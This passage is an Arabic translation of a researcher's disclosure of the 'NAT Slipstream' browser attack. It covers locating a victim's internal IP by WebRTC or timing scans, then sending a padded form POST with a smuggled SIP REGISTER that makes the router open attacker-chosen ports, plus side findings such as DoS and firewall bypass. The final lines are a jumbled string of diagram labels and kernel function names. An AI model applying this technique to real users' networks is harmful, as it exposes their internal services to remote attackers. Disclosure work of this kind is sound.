حتى اليوم، يتطلب استخدام WebRTC للحصول على عنوان IP المحلي على Chrome، بدلاً من عنوان `.local` mDNS/Bonjour، استخدام HTTPS، ولكن HTTP ضرورية لبقية الهجمات، لذلك نكتشف أولاً ما إذا كنا على HTTP وإذا لم نكن، نوجه إلى HTTPS. ثم نحاول استخدام WebRTC لاستخراج عنوان IP المحلي. في كلتا الحالتين، نعيد التوجيه بعد ذلك إلى HTTP مع إلحاق عنوان (عناوين) IP بعنوان URL لتجاوز قيود النطاق المتقاطع عبر طرق الاتصال الأخرى.
### هجوم التوقيت
إذا كنت تستخدم Safari أو IE <= 11 أو غيرها التي لا تدعم WebRTC أو لا تكشف عن IP الداخلي عمدًا (Safari)، يمكننا استخدام هجوم توقيت الويب لكشف عنوان IP الداخلي للضحية.
ندير ذلك عن طريق إنشاء علامات HTML `` مخفية على الصفحة، جميعها تشير إلى بوابات شائعة (192.168.*.1، 10.0.0.1، و [أخرى](https://github.com/samyk/slipstream/blob/main/server#L159))، بالإضافة إلى أحداث Javascript `onsuccess` و `onerror`. في كل مرة يتم فيها كتابة صورة على الصفحة، يبدأ مؤقت وإذا تم تحميل `onsuccess`، فهذا يعني أن عنوان IP استجاب مع خادم ويب، وإذا لم يكن خادم ويب قيد التشغيل ولكن عنوان IP موجود على الشبكة، فسيرسل TCP RST (إعادة تعيين، يعني المنفذ غير مفتوح) مما يؤدي إلى تشغيل `onerror`. إذا لم يكن عنوان IP موجودًا، فلن يتم إرسال RST وسيستغرق الرد أكثر من ثانية واحدة، وعندها نعرف أن عنوان IP غير موجود على شبكتنا.
بمجرد أن نرى أحد هذه الأحداث يتم تشغيله، نعرف شبكة فرعية داخلية محتملة نحن عليها، ثم ننفذ نفس الهجوم لكل عنوان IP على الشبكة الفرعية (مثل 192.168.0.[2-255])، وهذه المرة نقوم بتوقيت أكثر دقة لتحديد أي عنوان IP يستجيب **بأسرع ما يمكن**. هذا على الأرجح هو عنوان IP الداخلي الخاص بنا (الضحية)، حيث لا نحتاج حتى إلى مغادرة واجهة الشبكة. حتى لو لم نكن الأول لسبب ما، فإننا لا نزال نحاول هجومنا على جميع عناوين IP التي استجابت على الشبكة.
## تضليل بروتوكول المتصفح
بمجرد أن يحصل العميل على أحجام الحزم وعنوان IP الداخلي، يقوم ببناء نموذج ويب مصمم خصيصًا يحشو بيانات POST حتى نعتقد أن الحزمة ستصبح مجزأة، وعندها يتم إلحاق SIP REGISTER الخاص بنا الذي يحتوي على عنوان IP الداخلي. يتم إرسال النموذج عبر Javascript دون موافقة الضحية. :)
[](img/pinpkt.png)
### التعديل المباشر لحزمة المتصفح
على خادم الهجوم الخاص بنا، نظرًا لأننا نستطيع رؤية الحزم القادمة، نبحث لمعرفة ما إذا تم إعادة كتابة حزمة SIP بعنوان IP العام. إذا لم يكن الأمر كذلك، نقوم بالتواصل مرة أخرى مع العميل (تلقائيًا) بأن حزمة SIP لم تكن على حدود الحزمة المتوقعة ولم يتم إعادة كتابتها، ونقدم موضع الحدود الجديد من متشممنا.
يقوم كود العميل تلقائيًا بضبط حجم حزمته إلى الحجم الجديد فقط بعد فشلين متتاليين. بعض المتصفحات (Firefox) قد يكون لها حجم حزمة مختلف قليلاً في بعض الأحيان بسبب الحدود متعددة الأجزاء التي يولّدها النموذج، والتي على عكس معظم المتصفحات الأخرى، ليست ذات طول ثابت. أجد أنه بعد حوالي 10 محاولات، سيتم استخدام نفس الحجم وسينجح الهجوم.
بمجرد أن تقع حزمة SIP على حدود الحزمة، سيتم خداع NAT، معتقدًا أن هذا تسجيل SIP شرعي ومن عميل SIP على جهاز الضحية. بمجرد أن يستجيب خادمنا باستجابة SIP مناسبة (متداخلة داخل استجابة HTTP مناسبة للسماح للمتصفح بعدم اكتشاف أي شيء مريب)، سيفتح NAT المنفذ في الحزمة الأصلية التي طلبنا من الضحية إرسالها وسيقوم الموجه الآن **بإعادة توجيه أي منفذ يختاره المهاجم مرة أخرى إلى الضحية الداخلي، كل ذلك بمجرد التصفح إلى موقع ويب**.
الهجوم مكتمل. يستطيع المهاجم الآن الاتصال بخدمات TCP/UDP العشوائية التي تعمل على الضحية.
# نتائج أخرى
هذه ليست مستخدمة في هذا الهجوم، لكنها مثيرة للاهتمام مع ذلك ويمكن استخدامها في هجمات أخرى.
- تجزئة IP تسمح بالتحكم الكامل في جميع البيانات في قسم بيانات IP، مما يعني التحكم الكامل في رأس UDP بما في ذلك منافذ المصدر/الوجهة في الحزمة الفائضة
- تقوم حزمة IP الخاصة بالضحية بإعادة التجميع ولن تقوم بتحليل البيانات، ومع ذلك فإن NAT التي تمر الحزمة من خلالها ستكون عرضة للخطر
- يسمح بتجاوز جدار حماية المتصفح أو النظام حيث أن منفذ UDP الوحيد الذي يتم فحصه هو الحزمة الأصلية، وليس الحزمة المجزأة الفائضة
- هجوم رفض الخدمة (DoS) على عميل SIP عن طريق إرسال `Expires: 0` وإزالة تتبع الاتصال (conntrack) لشخص آخر
- إذا كان المنفذ مشغولاً بالفعل، يتم زيادة المنفذ المستمع حتى يفيض المنفذ إلى 0
- STUN لا يحتوي على مصادقة مطبقة في أي متصفح حديث
# تحميل
شكرًا للقراءة! يمكنك تنزيل كود إثبات المفهوم من [مستودع NAT Slipstream على GitHub](https://github.com/samyk/slipstream).
# اتصال
**جهة الاتصال:** [@SamyKamkar](https://twitter.com/samykamkar)
اعثر على المزيد من مشاريعي على <https://samy.pl> أو يمكنك التواصل معي على <[email protected]>.
usernameusername المصمم خصيصًا مما يجبر تجزئة IP والتحكم الدقيق في الحدودusername إلى الحجم الدقيق لقطعة TCP / حدود الحزمة، ثم إلحاق "حزمة H.323" وإرسالها عبر نموذج ويبprocess_sip_request(...)strncasecmp(*dptr, handler->method, ...) سيخرج المعالج ما لم تحدث الطريقة (مثل REGISTER) في بداية جزء البيانات من الحزمة (TCP أو UDP) كما رأينا مع INVITE أعلاه... REGISTER هو مجرد أمر SIP آخرprocess_register_request(...)nf_ct_expect_init(...) عبر sip_handlers نقوم بتهيئة ثقب جدار الحماية (منفذ للسماح للشخص البعيد بالاتصال مرة أخرى)، لكننا لا نفتحه بعدnf_nat_sip_hooks -> nf_nat_sip(...) يقوم NAT أيضًا بتشويه (إعادة كتابة) عنوان IP الداخلي للعميل إلى عنوان IP العام لـ NAT حتى يتمكن الوجهة من الوصول إليه بشكل صحيحsip_help_tcp(...) -> process_sip_msg(...) ->
process_sip_response(...) الآن ننظر إلى استجابة SIP من خادم SIP
process_register_response(...) -> refresh_signalling_expectation(...) يتم إعادة توجيه المنفذ بواسطة NAT فقط بعد إرسال استجابة SIP صالحة من قبل خادم SIP